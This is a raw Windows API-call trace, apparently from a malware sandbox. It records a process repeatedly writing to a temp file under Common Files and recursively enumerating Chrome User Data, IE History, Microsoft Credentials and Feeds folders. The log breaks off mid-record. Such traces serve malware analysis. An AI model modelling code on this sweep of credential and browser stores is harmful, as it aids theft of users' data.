1 [0145.379] GetLastError () returned 0x12 [0145.379] AreFileApisANSI () returned 1 [0145.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.380] GetFileType (hFile=0x184) returned 0x1 [0145.380] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.380] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.380] GetLastError () returned 0x12 [0145.380] AreFileApisANSI () returned 1 [0145.380] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.380] GetFileType (hFile=0x184) returned 0x1 [0145.380] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\SwReporter\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.381] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.381] GetLastError () returned 0x12 [0145.381] AreFileApisANSI () returned 1 [0145.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.381] GetFileType (hFile=0x184) returned 0x1 [0145.381] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\WidevineCdm\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.381] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.381] GetLastError () returned 0x12 [0145.381] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.382] GetLastError () returned 0x12 [0145.382] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.382] GetLastError () returned 0x12 [0145.382] AreFileApisANSI () returned 1 [0145.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.382] GetFileType (hFile=0x17c) returned 0x1 [0145.382] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.382] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.382] GetLastError () returned 0x12 [0145.382] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.382] GetLastError () returned 0x12 [0145.383] AreFileApisANSI () returned 1 [0145.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.383] GetFileType (hFile=0x178) returned 0x1 [0145.383] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.383] AreFileApisANSI () returned 1 [0145.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.383] GetFileType (hFile=0x17c) returned 0x1 [0145.384] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.384] AreFileApisANSI () returned 1 [0145.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.384] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.384] GetFileType (hFile=0x180) returned 0x1 [0145.384] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa413c7b0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa413c7b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa413c7b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.384] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.384] GetLastError () returned 0x12 [0145.384] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.384] GetLastError () returned 0x12 [0145.384] AreFileApisANSI () returned 1 [0145.384] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.385] GetFileType (hFile=0x17c) returned 0x1 [0145.385] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x834888, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.385] AreFileApisANSI () returned 1 [0145.385] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.385] GetFileType (hFile=0x180) returned 0x1 [0145.385] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.386] AreFileApisANSI () returned 1 [0145.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.386] GetFileType (hFile=0x184) returned 0x1 [0145.386] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.386] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.386] GetLastError () returned 0x12 [0145.386] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.386] GetLastError () returned 0x12 [0145.386] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.387] GetLastError () returned 0x12 [0145.387] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.387] GetLastError () returned 0x12 [0145.387] AreFileApisANSI () returned 1 [0145.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.387] GetFileType (hFile=0x178) returned 0x1 [0145.387] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.387] AreFileApisANSI () returned 1 [0145.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.387] GetFileType (hFile=0x17c) returned 0x1 [0145.387] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.388] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.388] GetLastError () returned 0x12 [0145.388] AreFileApisANSI () returned 1 [0145.388] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.388] GetFileType (hFile=0x17c) returned 0x1 [0145.388] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.388] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.388] GetLastError () returned 0x12 [0145.389] AreFileApisANSI () returned 1 [0145.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.389] GetFileType (hFile=0x17c) returned 0x1 [0145.389] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.389] AreFileApisANSI () returned 1 [0145.389] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.389] GetFileType (hFile=0x180) returned 0x1 [0145.389] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.390] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.391] GetLastError () returned 0x12 [0145.391] AreFileApisANSI () returned 1 [0145.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.391] GetFileType (hFile=0x180) returned 0x1 [0145.391] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.391] AreFileApisANSI () returned 1 [0145.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.391] GetFileType (hFile=0x184) returned 0x1 [0145.392] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.392] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.392] GetLastError () returned 0x12 [0145.392] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.392] GetLastError () returned 0x12 [0145.392] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.392] GetLastError () returned 0x12 [0145.392] AreFileApisANSI () returned 1 [0145.392] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.392] GetFileType (hFile=0x17c) returned 0x1 [0145.393] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.393] AreFileApisANSI () returned 1 [0145.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.393] GetFileType (hFile=0x180) returned 0x1 [0145.394] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\1NBUR4HR\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, 